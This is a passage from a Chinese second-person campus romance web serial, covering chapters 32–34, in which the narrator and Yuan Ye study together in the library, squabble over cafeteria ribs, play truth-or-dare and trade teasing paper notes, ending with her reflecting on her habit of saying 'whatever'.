原野鼻腔里哼出个“嗯。”
就这样？
你确定道：“你不生气了？”
原野：“嗯，她还挺有眼光的。”
你虽然不知道原野这话从何而来，还是跟着附和：“是啊。我这身姜黄色的漂亮小裙子，就是她帮我挑的。”
原野闻言，从上到下打量起你的裙子，目光最后停在你波浪的裙摆上：“我是指她看出来我们是一对儿的事。”
你：“什么？”你怀疑原野酒量比你还差
原野从你低垂的裙摆上拔起眼：“她说我是狗。”
你：“你不是说你不生气了？”
原野：“你也是狗。”
你：“？”
原野：“喜欢咬人，还喜欢满世界标记地盘，不是狗，是什么？”
你咬牙回呛：“我什么时候满世界标记地盘了？”
“我、徐晨曦、”原野掰着手指细数，“秦今阳、原慕，不到一周，光我看见的，你都找了几个和你表白了。”
你赶紧压低声音：“你别瞎说，秦今阳在追念芮。”
原野瞥了眼坐白念芮旁边玩手机的秦今阳：“没看出来。”
你：“……”
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>你：“还有，我什么时候让徐晨曦和我表白了？”
原野：“那是我劫走了你的小纸条，你敢说再让你写几个，你不会让他和你表白？”
你：“当然不会！等等，原木又是谁？”
原野尾音上扬“哦”了声：“你还不知道他名字。”
你：“他？”
原野垂着眼皮，却不说了。
你和原野凑在一起嘀嘀咕咕，其他人商量着再去跳一圈。见你们终于停下来，要拉上你们一起去。
李知乐用力拉着你的胳膊。
你则努力把自己的屁股钉在卡座里。
原野望着你努力挣扎的腿，突然开口：“你的腿，不是摔坏了？”
李知乐放开了你的胳膊，其他人也纷纷停下动作，目光不约而同看向你的腿。
白皙光滑，没有瑕疵，脚下还踩着高跟鞋。
你：“……”
在众人热辣寻找伤口的目光里，你憋了半天，决定用点儿蒙太奇：“他夸张了，我就是摔了下。”
你又看向白念芮：“刚才在寝室，你不是还让我用遮瑕棒涂了下？”
你换完裙子，白念芮瞧见你左膝盖内侧颜色有异，随手拿起遮瑕棒在那上面涂了两下，嘱咐你用手指抹匀。
白念芮这才恍然大悟：“那是你摔的啊。”
你松口气，感觉两边都能勉强交待了。
原野却仍盯着你不放：“所以……严重到走路一瘸一拐是你骗我的？”
一圈人看你的目光立马烧起来了。
你闭上眼，系统啊，把你原地带走吧。
真圆不过去了。
你再睁开眼，还在原地。
一圈人齐齐看向你，正等着你的回答。
俗话说酒壮怂人胆，你手去桌上找酒，摸到也没看是谁的，抓起来就喝，一饮而尽。
又苦又辣，你感觉自己的天灵盖都要冒烟了。
效果比你预想的还好，你借着辣劲儿，咬牙瞪向原野：“对，我就是装一瘸一拐骗你，怎么了！”
话落，一圈的空气彻底安静了。
不知是谁先咳一声：“渴了吧，先喝点酒，再去跳吧。”
大家好像得到了某种提醒，纷纷转身和旁边人碰起杯来。
“对对对，渴了渴了。”
“对，先喝点。”
“来来来，碰一个。”
……
只有原野还垂着桃花眼静静看着你。
怂人的胆子来得快，去得更快。
你想抱头就跑，可原野长腿翘着，要想不经过他同意跑走，就得先来个110米跨栏。
“看什么看！”你的花架子强撑起面皮，凶巴巴胡言乱语，“有什么好看的！你还能打我怎么着？”
话落，就见原野抬起了右手。
你秒怂。
不料，他抬起的右手落到了你头顶，轻轻揉了揉：“骗就骗了呗。”
你缩着脖子，心惊胆战等了会儿后续。
结果没有后续。
虽然你不是故意的，但他因此又背你、抱你、帮你打水，还请了你好几顿饭，结果就这么轻描谈写放过了你？
不符合他以往的画风啊。
小纸条那芝麻大点儿的小事他刚才还在斤斤计较……
你一脸狐疑打量他，问：“你……不生气？”
原野的脸忽然凑近你，弯起潋滟的唇：
“不，我很、高、兴。”
说话间，雪白的齿色把你晃得忘记了眨眼。
32. 图书馆告白挑战（12）
第二天早上，你睁开眼，寝室的窗帘早已拉开。
寝室里亮堂堂一片。
你揉着太阳穴坐起身，茫然望了望周围。
啊，已经第二天了。
白念芮一如既往，亲切和你打招呼：“佑佑宝宝起来了。”
“早！”
“早安！”下铺接连传来两声。
你：“大家早。”
说完，你等待着即将到来的集体审问。
一分钟过去了，没人说话。
五分钟过去了，还是没人问你什么。
你特意向下铺张望了眼，和以往的早晨一样，她们在刷手机醒神。
仿佛什么也没发生过的“正常”气氛让你有一瞬怀疑昨晚白念芮审问你和原野的事是一场梦。
不然，以你这些天对她们的了解、她们对八卦的热爱，寝室不可能像现在这样风平浪静。
难道她们昨晚已经趁你醉，审过你了？
但你不记得了。
你甚至不记得昨晚是怎么回来的。
你现在才知道，记忆断片是一件很可怕的事，空白的记忆可以任你发达的想象力任意涂抹。
你不会为了自证清白告诉她们，你让原野和你告白只是为了游戏任务？
或者更甚，你把她们其实是游戏中的人也交待了？
你不能再继续这样脑补了，再脑补，你怕是要焦虑到头发炸起。
你准备去冲个澡，把这些乱七八糟的庸人自扰都冲掉。
浴室里，你给自己从上到下打满了栀子花香的绵密白泡泡。
当暖融融的水从头顶哗哗浇下，你感觉自己重新活了过来，顺着HelloKitty拖鞋四散流向下水口的洗澡水仿佛带走了你所有的烦恼。
你擦着头发从洗手间出去，抬头撞见她们正聚在一起讨论张雨婷最近在追的电视剧《厉少的落跑小甜心》。
是的，这里的电视剧花样多、尺度大，也没人管它起什么名字，可以说是狗血与创意齐飞。
张雨婷在给白念芮和李知乐讲昨晚更新那集的剧情，你在她们身后擦头发，也听了几耳朵。
“厉少带小甜心去参加宴会，一时没看住小甜心，让她半道喝多了。小甜心脱了高跟鞋拎在手里，光着脚就要往舞池里跑。厉少拦她不成，还被她爬上了后背。”
张雨婷讲得手舞足蹈：“小甜心特别可爱，赶大马一样赶着厉少，让他走进舞池，背着她跳。厉少面上烦得要死的模样，腿倒是很诚实背着小甜心跳了一曲又一曲。”
“厉少跳到一半，小甜心又抱怨被他跳晕了，非要下来自己跳。”
李知乐好像听上头了：“然后呢？”
“然后，小甜心就踩着厉少的鞋，跳起了华尔兹。”张雨婷双手合十，一脸回味无穷的模样，“嗑死我了！”
李知乐像模像样点点头：“我也觉得。”
白念芮回头，望了眼还在弯腰擦头发的你，问你：“你觉得呢？”
你直起腰，拨开脸前的长发，一脸被突然点名的懵。
其实你觉得剧情好土好尬，那么多宾客看着呢……
但见她们三人一脸嗑cp兴味十足的模样，不好破坏气氛，只能附和道：“挺好挺好。”
白念芮秀眉挑了下：“没别的感想了？”
你试探说：“挺甜？”
见她们还不是太满意的模样，你一咬牙：“厉少和小甜心简直是天生一对！”
果然，情绪给到位，她们立马放过了你。
她们继续唠起来，你用吹风机吹干头发。
吹完头发，你从抽屉里翻出你的醇熟吐司切片，一人分她们一片，四人一起吃起来。
吃着吃着，你突然想起来：“昨晚去夜店，是你们谁付的钱？我该A多少，转给谁？”
李知乐摆摆手：“不用了。昨晚是原野他哥请的。”
你愣了下：“原野……后来还把他哥叫来付钱了？”
张雨婷叼着吐司片惊讶看你：“他哥本来就在啊。”
你：“？”
李知乐：“那个你聊了半晚上的那个西服帅哥，你不记得了？”
咳咳咳，你差点没被面包噎死。
“看来，后面是真都不记得了。”白念芮拍着你的背低喃。
你想到昨天原野掰着手指，在你耳边算的最后一个名字：“原木？”
“对对，原野他哥就叫原慕。”张雨婷点点头，“爱慕的慕，他们一家子起名还挺有意思，主打一个好记。”
“等等，”你得捋一捋，“你是说和我聊天的人是原野的哥，他俩还同姓，那原野不就是他堂弟？”
白念芮奇怪看你一眼：“当然。”
也就是说，你昨晚开心吃了半晚的瓜，瓜主其实是你自己？
等等，你为什么会下意识觉得原野来捉奸=原野来捉你？
万一，原慕口中那个堂弟不是原野呢？
你不再慢悠悠一口一口吃了，三两下吃完两片面包，猛吸了一盒牛奶，拎上包就要往外走。
你得去图书馆问问原野。
有没有可能是他们原家三兄弟或者更多兄弟来Stayup捉奸了？
毕竟，捉奸越声势浩大越好……
你刚要出门，却被李知乐喊住。
你回头：“怎么了？”
李知乐：“大师的联系方式，你能给我一个吗？”
张雨婷也眼睛亮晶晶看向你：“我也要。”
你：“？”
李知乐见你表情有点儿懵的，提醒你：“就阿姨帮你找的、教你改名的那个大师。”
你想起来了。
但她们怎么突然想起这一茬了？
“……大师……”你扶着门，开始编，“是我们老家一个县里的，人上了年纪，不用微信。我妈也是上门去找他算的。”
张雨婷点点头：“我说嘛，还得这种大师才灵。”
李知乐：“那等你暑假回去，拿着我的八字，帮我找大师问问，我想看看我和我男朋友是不是正缘。”
李知乐和她男友虽是高中同学，在一起多年，但总归也异地了许久，你理解她的担忧。
张雨婷：“还有我，帮我看看我怎么才能接桃花。要是也需要改名，就让大师也给我改一个。你去的时候记得带手机，要是大师要看面相，你就给我打个视频。”
她们安排得太到位了，显然不是临时起意，你只好应承下来。
唉，你真得加把劲儿了。
不然真拖到放暑假，上哪去找那个没影的大师去？
***
学校图书馆
你又在熟悉的位置看到了原野。
你冲他摆了摆手，用口型说个“Hi~”，照常路过他，去里面常坐的位置坐下。
你一本一本拿出今天复习要用的书，拿出笔袋，又把线条小狗的奶黄色保温杯摆到左上角。
忽然，一片阴影落到了欢快的线条小狗上。
你转过头，惊讶原野不知何时跟了上来。
你：“你有事？”
原野拉开你右手的椅子，大喇喇坐下。
你：“？”
原野从背包掏出一本红封皮的教材，扔到你面前。
你和教材上《博弈论导论》五个大字面面相觑了会儿，转头问原野：“什么意思？”
“把上面划线的内容帮我整理下来，我复习要用。”原野又推给你一个B5大小的灰色软线圈笔记本。
你指着自己：“我为什么要帮你整理笔记？”
“某人的腿是装瘸的。”原野抬起右手，怼到你脸前，“我的手拜某人所赐，是真不能写字了。”
你无言以“怼”了。
你的腿瘸是假的，他都又背你、又给你买饭、又送你回寝室，你安慰自己，你给他整理个笔记有什么关系？
就算他和你一样是装的，你也不算吃亏。
“好。”你充满怨气答应。
你翻着笔袋，顺嘴问：“用黑色水性笔写，还是蓝色圆珠笔写？”
原野：“黑色圆珠笔。”
你：“……”你真是多此一问。
你翻遍了笔袋，都没找到黑色圆珠笔。刚要告诉原野你没有，右手便被塞进来一只黑色圆珠笔。
得！
你写。
你翻开书，注意到教材上画重点的横线无论是笔触轻重还是倾斜方向都能看出是从右向左画的。
是左手画的。
你再往后翻了翻，都是这样。
你隐约怀疑他的那点儿心思也消了。
你埋头帮他整理笔记，他在你旁边又给《计量经济学》教材画起重点来。
你虽然从没接触过经济学课程，但从头整理起来，外加和现实多少有些关系，内容理解起来并不复杂。
你边誊抄边看，很快竟看了进去。
遇到看不懂的知识点、不确定放在哪里合适，你就用手肘撞撞一旁的原野。
他就凑过来和你解释一会儿。
等原野喊你起来去吃中饭，你才恍然一上午已经过去。
不该学的习，你是一点儿没少学；
该问的问题，你是一个没问。
你赶忙拽住起身的原野的衣服下摆：“那个……昨天和你一起去Stayup的……你堂哥原慕……”
原野蹙起眉心。
你见他不耐烦，不再酝酿措辞了：“有没有可能你除了原慕，还有别的堂哥或堂弟，你们三人昨晚是一起去的？”
“没可能。”原野低头白你一眼，抬步就走，“一个原慕还不够？”
***
你昨晚乐颠颠吃了许久的瓜，瓜主竟是你自己……
你有些生无可恋跟着原野出了图书馆的大门。
正午烈日当空，你一出来，猛然觉得有些刺眼。你抬手挡在眉间，遮着头顶的阳光。
你和原野一前一后不太熟地走着。
原野走着走着，忽然回身看你一眼。
或许是注意到你遮着阳光的右手，他转过身后，长腿朝左迈了步，从斜前方变成走在你正前方。
太阳落下的他的影子从灰色的石砖大半转到你身上。
你眼前暗下的瞬间，心莫名空了下。
轻盈的，仿佛凭空长出一对翅膀。
你慢慢放下遮阳的手，踩着你们间他被日光拉得瘦长的影子，一步步靠他更近。
更近些……
他的人看起来更高了，肩也格外宽阔起来。脊背被阳光炙烤过的热度透过轻薄的淡粉衬衫扑到你脸上。
还有他身上清新的冷杉香气……
你的脸渐渐烫起来。
难道，这就是传说中心动的感觉？
你赶忙回头望了眼。
身后不远处，赭色的图书馆大楼巍峨矗立。
你们应该还算在图书馆的范围吧？
“原野。”你叫住他。
原野停下脚步看你。
“你有没有什么想和我说的？”
原野的视
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线在你脸上兜过一圈。
他暗自帮你遮阳，现在又看出你的脸红，气氛到位，以他的老练经验，应该能明白此刻该说些什么……
原野忽的走近，牵起你的手腕。
你心上一紧。
“今天学校食堂有红烧排骨，再磨蹭就抢不上了。”原野拉着你跑起来。
一路上，你被原野拉得跌跌撞撞，仿佛风中起起落落的破塑料袋。
你难得聚起的少女心，哗啦啦扬了一地又一地。
***
学校食堂里，你和原野面对面坐着。
原野面前的餐盘里，红烧排骨是高高耸出的小山。
你面前的餐盘里，红烧排骨是被火舌舔得三零四落的洼地。
原野说：“吃吧。”
你不自觉叹口气：“没心情。”
你也不知道你是在为死去的少女心哀悼，还是在为这个美貌连食堂都能通行的不公社会感到悲哀。
“行了，分你两块。”原野拿还未用过的筷子，挑了两块形状漂亮的精排，填平了你餐盘里的洼地。
你还是没动筷。
“你太瘦了，得多吃点。”原野目光落到你某处，“上次背你，都硌到我后背了。”
好好一张帅脸，怎么就长了一张嘴？
“两块可不够！”你咬牙切齿，拿起筷子，去原野盘子里又戳了一块排骨。
原野忍了。
你又又戳了一块。
这次原野没忍，伸筷子来夺，你立马把排骨塞进嘴里。
你咬着排骨，用眼神示意，“你有本事来我嘴里抢啊？”
原野确实抢了。
抢的是你餐盘里的，你嘴里咬着排骨，手上忙去保护餐盘里的。
一顿饭下来，半顿饭都是你们的排骨争夺战。
最后，你以餐盘边你七他五的骨头数赢得了这场战争的胜利。
***
肚子吃得圆滚滚的你和原野从食堂出来，慢慢踱在回图书馆的路上。
你总喜欢捡着有树荫的地方走，怕晒也怕热。
原野隔着半米和你并排，总走在阳光下。
你们一路走着，谁也没找话来说，偶尔有风迎面吹来，头顶响起沙沙的树声。
再次望见图书馆的大楼，你没来由地冒出一个想法：如果游戏要结束，你希望它停在这一刻。
让原野在这一刻定格。
你停下脚步，看向阳光下的原野：“原野，我们玩个游戏吧。”
原野偏头和你对上视线：“什么游戏？”
“真心话大冒险，剪刀石头布决胜负。”你把小指伸过地上树影的分界线，“咱们拉钩，输了不准耍赖。”
“幼稚死了。”原野将路上的小石子踢来踢去，不情不愿伸出手指。
你勾上他的尾指，往前拉了下。
不知怎么，你明明没用多大力，原野整个人都被你拉进了树荫里，鞋尖差点撞上你脚尖。
原野瞥了眼身后，轻咳了声：“石子滑的。”
你歪头去看他所说的石子，额头被他食指抵了回来，不耐烦催促：“还玩不玩了。”
“玩玩玩。”你赶忙摇着他的手指，唱起老掉牙的誓词，“拉钩上吊，一百年不许变……”
树荫筛落的光斑映在原野银色的尾戒上，在你们短暂勾连的指间静静闪耀。
第一次剪刀石头布，原野输了，你让他从真心话和大冒险里选一个。
原野选了真心话。
其实，你希望他选大冒险。
又希望他晚一点选大冒险。
你拿出早就准备好的问题：“你喜欢什么样的女生？”
原野垂头看着你，想了想：“漂亮、有趣。”
你：“就这么简单？”
原野伸手比了个2：“这是第二个问题了。”
好吧……
第二把剪刀石头布，原野又输了，又选了真心话。
你：“你喜欢的对象，只要漂亮、有趣就够了？”
原野：“漂亮的外表，有趣的灵魂，外表里子都有了，这还不够？”
你突然觉得他说的还挺有道理。
你把标准套在自己身上想了想，有趣，你肯定不符合。
漂亮的话……
你想起你听过一个说法：人越没有什么，越要求什么；越有什么，反而越看淡什么。
照这个理论，原野长得这么好看，你这关多多少少也算个“小美”，这样的话，你或许能擦上个他觉得“漂亮”的小边？
虽然你觉得你的逻辑没什么逻辑，但你还是想试一试。
你：“多漂亮，在你这里算漂亮？”
原野伸出三根手指。
你懂了，马上伸出拳头：“来，第三局。”
第三局，依旧是你赢了。
你忍不住笑了，你简直是运气之神的天选之女。
“这把选什么？”
“真心话。”
“下次不许选真心话了。”
“为什么？”
“连续选同一个，不能超过三把。”
“谁规定的？”
“我！”
“哦。”
“你就回答刚才那个问题吧。多漂亮，在你这里才算漂亮？”
原野蓦地俯下身，凑到你眼前，澄亮的桃花眼里满满映着你的影子，一字一顿说：
“比、我、好、看、的。”
（温馨提示，本章没有废话，室友们尤其不说废话。）
33. 图书馆告白挑战（13）
原野蓦地俯下身，凑到你面前。
澄亮的桃花眼妩媚睁着，你错愕的模样满满盛在里面。
他灿然勾起唇角：“比我好看的。”
比他好看的？
还有比他好、看、的？
就他这张好看到雌雄莫辩的脸，若是把你的头发安到他脑袋上，再给他胸前塞两个馒头……
想着，你的眼神借着此刻几乎为零的身高差之便，顺着他向来没什么节操的衣领溜进去……
咳咳、
两个馒头都不用，这胸肌冒充个对A绝对没问题。
穿个内衣挤一挤，或许还能有个B？
C的话……那已经超出了你的经验范畴。
“你的脸，怎么突然红了？”原野突然伸手来掐你的脸，“近距离感受到我的美貌，自惭形秽了？”
你赶忙把眼神歪出去：“嗯嗯，自惭形秽了。”你被他扯歪的嘴含糊肯定着。
原野似乎没料到你会这么轻易承认，脸上的玩笑卡了壳。继而表情几度变化，像在努力筹措安慰你的话。
见他冥思苦想的模样，你好心帮他解围：“我是指你的胸。”
“我的胸？”原野一下没反应过来。
你踟蹰挠挠额角，眼神又朝他衣领里睇去一眼。
原野顺着你的眼神向下看去——
然后瞬间抓紧衣领，暴跳着后退。
“你、你、你……”原野一手指着你，指尖渐渐有些颤抖。
你不懂他的反应为什么这么大？
总不能是害羞了吧？
他天天领子开那么大，你以为他并不介意人看啊。
你见他食指颤个不停，想到家里长辈因心脏房颤激动时手会不受控颤个不停，每每只能用另一只手强行握住颤着的手才能停下来。
你犹豫了下，凑近一步，用力握住他的食指。
他果然停下来了。
“没事，我第一天就看见了。”你有些尴尬安慰他，“今天只是看得更清楚点儿。”
为了增强可信度，你空着的手比了个一丢丢的手势，想告诉他就多看了那么一点点。
原野却如遭电击般猛地抽回食指，拔腿就走。
你彻底懵了，又怎么了？
被留在树荫下的你满脑子问号。
男人们……有这么重视自己的胸吗？
明明你每年夏天路过街边的烧烤摊，一不小心瞥去一眼，挤挤挨挨的黄花花一片。
你一直以为，他们一点都不介意被人看。
想到那些人的颜值，你不禁想，难道是帅哥比较怕被看？
等你再抬头，别说看见原野在不远处等你，视野里连他的半片影子都寻不到。
他这是生气了？
你懵懵地一个人朝图书馆走去。
你以为杀机四伏的真心话大冒险游戏，在你还未真正展露目的前就莫名其妙断了。
你只好琢磨琢磨硕果仅剩的“原野的理想女友标准”。
“漂亮、有趣。”
脑中回放着他回答问题前打量你的那一眼，越琢磨越觉得别有深意……
再次踏上图书馆前的石阶，你已经严重怀疑，原野是专门为你量身定制了两条标准——
只为把你精准卡在门外。
***
图书馆。
你远远就瞧见你座位旁的位置有人。
还好，原野没干脆跑回寝室。
你都快走到原野身边了，他仍低头看着书。
似乎完全没察觉你回来的模样。
你视线向下，定在他险些扣到脖子上的衣领，终于后知后觉——
原来，他如此重视自己的节操。
但这真不能怪你，从前，你是真没看出来。
你默默转到他背后，拉开自己的椅子，坐下去。
原野还是没朝你看来一眼。
你这下彻底确定了，他是故意装作没看见你。
虽然你不能理解他的心路历程，但还是默默尊重了他的选择，重新拾起上午他给你的那只黑色圆珠笔，继续帮他整理笔记的大业。
窗外的太阳在你笔耕不辍的唰唰声中渐渐西斜。
在你以为沉默的影子会这样无限被拉长时，压着教材的空心拳被塞进一个小纸卷。
他自闭结束啦？
你偏头去看旁边人。
窗外的日光为他低垂进书页里的眉眼鼻尖镀上一层绒绒的鎏金，专注的模样仿佛罗丹刻刀下的沉思者。
你收回视线，慢慢展开手里的小纸条。
脑中却忍不住回放起他在你看过去时，微微下压的唇角。
你猜，他可能不知道，他的唇角平时总是微扬的。
纸条彻底展开，上面龙飞凤舞写着五个字：
「别老偷看我！」
你忍俊不禁，他怎么还想着这一茬呢？
你盯着纸条，想着怎么回复，想着想着脑中的灯泡啪嗒一下亮起。
你弯着嘴角提笔一字字写下：
「再看，你就把我吃掉吗？」
原野展开回复的表情你没去看。
你只知道，那个纸条如泥牛入海，一去再没复返。
***
你总觉得室友们至今没把审问你提上日程很奇怪。
一天下来，她们之中甚至没一个单独给你发来微信。
这事不解决，总揣在你心里，你觉得不是事儿。
想着伸头是一刀，缩头还是一刀，这刀总是要来的，晚上，你特意早早回了寝室。
你回来的一路买了烤冷面、关东煮、炸串、四杯奶茶、外加个四寸的开心果奶油蛋糕。俗话说的好，拿人的手软，吃人的嘴短，伸手不打笑脸人，你一路买装备，一路给自己加油打气，勇敢推开了寝室的门。
开一门，你嘴还没张，她们便先后闻着味下来迎接你了。
张雨婷更是大喊着“你简直是上帝派来拯救我的”第一个冲来。
东西太多，你一个桌子没摆下，又摆到旁边的李知乐那里一半。
你换了睡衣，你们四人四个凳子挤在两个书桌前。
你们边吃边聊。
聊起来，你才知道为什么刚刚张雨婷表现得那么激动。
原来，她晚上没吃饭。
你问她：“你要减肥？”反正就你所见，你现实中的室友们不吃晚饭只可能是为了减肥。
张雨婷咬着炸串晃着头：“不啊。你也知道我每月就那点儿生活费，月初的618大促，我一不小心买超了嘛。之前我还寻思着，后半个月节衣缩食省省也能活。谁成想……”
你吸溜着奶茶抬起头：“怎么了？”
张雨婷将口中的里脊串一撸到底，扬天长叹：“你遇到个那么神的大师，我还得留点儿算命钱！”
“噗嗤——”你的奶茶直接喷出来。
白念芮贴心给你递来纸抽。
你接过，讪讪擦着自己的脸：“玄学这事也不一定靠谱，你们昨天不还说我这改名一直不见效果。”
张雨婷“嘿嘿”笑起来，刚要说话，就被一旁的李知乐塞进来一块烤冷面：“今天的酱汁放得特别足，你尝尝。”
你看出张雨婷有话要说，等着她吃完继续说。
白念芮却突然问你：“今天见到原野了吗？”
虽然你察觉了白念芮提起原野时不同以往的平和态度，但你没功夫细思这变化的来源，因为悬在你头顶的刀终于要落下了。
你无比诚实交待了今天在图书馆看见原野，他要你帮他整理笔记，你们一起吃了中饭，还坐在一起学了一天习的事。
白念芮听完点点头。
你乖巧望着她，等她后续的问题。
不想，她什么也没问。
李知乐和她的异地男友今晚打电话的时候吵了架，后面的聊天，大半都是分析他们的感情和各种出谋划策。
偶尔言谈间再提起原野，白念芮也没再叫过他“贱人”和“狗东西”。
这刀，好像就这么轻飘飘落完了。
***
第二天早上见到原野的第一眼，你就知道他恢复了。
原因无他，你们隔空对上了视线，他的手上就忙着收拾起东西。
然后一路缀在你身后，在你旁边的位置坐下。
你坐下，笔袋还没拉开，线条小狗的水杯还捏在手上，原野就把《博弈论导论》的教材和灰色的软线圈笔记本摆到了你面前。
原野：“继续。”
你：“……”
原野：“别那么不情不愿，晚上我请你大餐。”
你：“……谢谢你。”
原野侧过身，手背抵着额角，目光在你的侧脸上下游移：“我
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怎么没感觉到你的感谢呢？”
你深吸一口气，转头冲他笑出八颗牙：“看出来了吗？”
原野皱眉盯了会儿，问你：“你能笑得好看点吗？”
“你怎么不给我笑得好看点儿呢？！”你回呛。
“早说，你想看我笑啊。”话落，原野颦蹙的眉眼瞬间如春花绽放，睫羽间尽是熠熠流波。
你所有的不满刹那被按下暂停键，一张脸只有眼睛呆呆大睁着。
原野的大拇指忽然凑近，在你嘴角蹭了下。
然后反手看了眼指腹，一脸啧啧嫌弃：“怎么还流口水了……”
你、你……难道看帅哥看到流口水了？
你仿佛天塌了般颤着手去试探嘴角。
好像有点湿……再摸摸，又好像没有……
你怀疑看向原野：“你唬我的吧？”
原野叹口气：“我会帮你保密的。”
说完，转头不再看你。
一上午，你都在自我怀疑中整理笔记。
写着写着，手背就不自觉去摸摸嘴角。
***
中午，你们一起去食堂吃饭。
回来的路上，你在老地方停下。
原野：“又要玩真心话大冒险？”
咦，他怎么抢你台词？
第一局剪刀石头布，赢的还是你，原野又选了真心话。
你一心奔着给他出大冒险来的，没想到又是真心话。
参加各种活动聚餐时，你也跟着大家玩过真心话大冒险的游戏。
你被他们鼓动出过几次真心话的问题，可当你真说出来，他们又打趣你“是不是在放水？”转头，又重新谋划起新问题。
两三次下来，他们再让你当出题人，你干脆笑着摆摆手。
在大家心中，你本就不是有趣活泼的形象，他们叫你出题也不过是让让你，你一拒绝，他们压根不会起哄非要你来出题。
其实，跟着大家玩过几次，那些能瞬间带热场子的“初恋”“初吻”“初夜”“前女友”“一夜几次”的问题你也知道。
但你总觉得问不出口，怕让对方尴尬。你自己总是容易感觉尴尬，异位处之，不想当那个让别人感觉尴尬的人。
可这一刻，你莫名不想被原野也判定你的问题“无趣”。
你绞尽脑汁，想问出个稍微有趣的问题。可越想有趣，脑子越不听使唤。
你憋了半天，也没憋出半个有趣的问题。
眼看着气氛越拖越尴尬，你索性自暴自弃，问他：“你多高？”
原野显然没想到你一副憋个大的模样，憋出来这个，面上的表情有些一言难尽。
你埋下头，不再去看他的表情。
“想知道这些的话，”原野的声音在你头顶响起，“不需要这种手段，一米八四，七十五公斤，101、75、95。”
你疑惑仰起脸，重复道：“101、75、95？”
“呦，记性还挺好。”原野扬起唇，“我的三围，一遍就记住了。”
“三、三围？”你磕巴起来，“谁问你这个了……”
原野一脸我懂我懂的表情：“问完身高，你是不是打算问体重来着？”
你还真这么想了，不好撒谎，点了点头。
原野：“那问完体重，不就该问三围了？”
你的头立马摇得像拨浪鼓。
你真没想！
“那你还想问什么？”原野顿了下，忽然夸张捂上自己的嘴，“啊！你不会是想问我那个吧？”
你的脸唰一下爆红：“我没有！”
“没有……？”原野一脸怀疑，凑近来打量你的脸，“你要不要先照一下镜子？你的脸都红成什么样了，再来和我狡辩？”
你捂着嘴，头拼命否定，你没有，真没有，你一点点都没有，看着原野一脸了然笃定，你感觉自己快要没出息地哭了。
“算了，既然你这么想知道，”原野叹口气，“我也不是不能告诉你，是……”
你出手从未这么快过，以迅雷不及掩耳之势堵住了原野的嘴。
“不许说不许说，”你捂着他的嘴，“我一点儿都不想听。”
原野垂下眼皮，盯着你捂着他嘴的手，在你手心里笑出声来：
“原来，你想要的，是这个。”
尾音轻得几不可闻……
34. 图书馆告白挑战（13）
“原来，你想要的，是这个。”
啊啊啊啊啊啊啊啊——
你莫名一下就懂了，他说的是间接、接、接……
你没出息地落荒而逃了。
你再也不要和原野玩什么真心话大冒险了。
那不是你们玩，是你被他玩儿，呜呜呜呜……
***
真是天道好轮回，苍天饶过谁。
这天下午，轮到你自闭了。
你把头埋进《博弈论》里，一副两耳不闻窗外事，一心只读圣贤书，学不死就往死里学的架势。
直到，手心再度被塞来个纸卷。
你犹豫再犹豫，指尖一毫米一毫米推开纸卷。
你眯着眼，小心翼翼拼完了整句：「你、今、晚、想、吃、什、么？」
还好，没有什么辣眼睛的数字你长舒口气。
那个“99、75、95”至今还在你脑海里挥之不去，你真怕再一不小心记住个两位数。
你拿起笔，写下「随便」，把纸卷滚了回去。
原野的回复很快又滚回来。
「随便是什么？」
你：「随便就是什么都行。」
纸卷又咕噜噜滚来。
原野：「那去吃屎？」末尾还有个手绘的便便冒烟的表情。
……你合理怀疑原野又在骂你是狗！
你：「你乐意吃，自己去吃吧！」你回敬他个冒火的愤怒小人表情。
纸卷再一次到来，原野：「看吧，你也不是什么都吃的！」小人悠闲摊手表情。
你怔了下，原来他……
是这个意思。
原野见你一会儿没回，又滚了个新纸卷过来。
「不用急，慢慢想，时间还有很多，离晚饭还有一个多小时。」摸摸头表情。
你看向窗外。
夏日下午四点的太阳还很亮，黄灿灿的像新出炉的蛋黄酥。
不着急，慢慢想，时间还有很多，想着想着，你的记忆就飘远了……
“夏佑，晚饭想吃什么？”
“随便。”
“那我们去吃石锅拌饭吧。”
“好。”
“夏佑，周末去看什么电影？”
“随便，我都行。”
“那我们去看《奇迹笨小孩》吧，我之前看评价还不错。”
“好。”
“夏佑，你今年生日想要什么礼物？”
“随便，你送的我都喜欢。”
“夏佑，你想周几负责打扫寝室？”
“随便，看你们安排。”
究竟是什么时候，“随便”已成了你的口头禅？
当你被人征询意见或询问喜好时，它已经可以不经过你的大脑，脱口而出了。
从什么时候开始，你成了个面团一样性格的人？
或许是很早，早到初中时期，你看到那个和你学习差不多好的女生，因性格骄傲、喜怒嗔怨都真实表现在脸上，被大家渐渐远离开始。
好像从那以后，别人来问你问题，你总是来者不拒。要你帮忙带个东西，要和你换值日，你也二话不说答应下来。
长相平平的好学生在青春期是不大受待见的，但一个性格面团一样、乐于助人、又好欺负的好学生似乎就没那么讨厌了。
因为，你成了一个除了学习好，其它都不如他们的人……
遥远的记忆像是被水雾弥蒙的玻璃，当你有一天反应过来，轻轻用手掌抹开，那背后的景象会以更鲜活、更真实的、更锋利的面貌展现出来。
可你为什么今天突然想到了这些？明明你已经“随便”了许多年，随便到了习以为常。
你从遥远的太阳里收回视线，低头望见手里的纸条：
「不用急，慢慢想，时间还有很多，离晚饭还有一个多小时。」
摸摸头。
是啊，好像从来没人和你说过“不用急，慢慢想，时间还有很多”，他们总是在你说出“随便”后，立马表达出他们的喜好。
再想想，好像不止是初中，在你更小的时候……
“佑佑，让你挑衣服，怎么还不出来？”妈妈匆忙忙走进来，看你对着摆在床上的粉裙子、黄裙子和白裙子搅着手指犹豫，一把抓起粉裙子，手撑开领口粗鲁往你脖子上套，“想、想、想，再想一会儿太阳都要下山了。还要不要去姥姥家吃午饭了？”
妈妈蹲在你身前，拍打裙摆上的褶皱，嘴上还在絮絮叨叨：“怎么干什么都磨磨蹭蹭的……”你的脖子从白色的蕾丝花边歪出窗外，懵懂眺望还高高挂在天上的太阳，想不明白妈妈为什么说它一会儿就要下山了。
明明还没到中午，太阳甚至还没爬上坡顶……
回忆仿佛零落的珠子，胡乱散落在四处，在你不曾预料的这一天，在原野身旁，被他随手递来的一根透明鱼线穿了起来。
你的心忽然痒痒的，仿佛生了层密密的肉芽，生长让你感受到了隐隐的钝痛。
你合上《博弈论》，合上笔记，拿起滚到桌角的笔，捡拾起记忆里曾带给你喜悦的所有食物，一一记录在纸条上。
越写越多，写到下面页边距处，你的字越挤越小。
原野难得有眼色注意到了，把他那本灰色的软线圈笔记本翻到最后一页，塞在你手腕下：“写不下往这儿写。”
把你似乎喜欢吃的东西都写完，你开始用笔划来划去比较，认真考虑让它们中的谁成为你今晚的晚餐。
不想，半道被原野抽走了手下的本子。
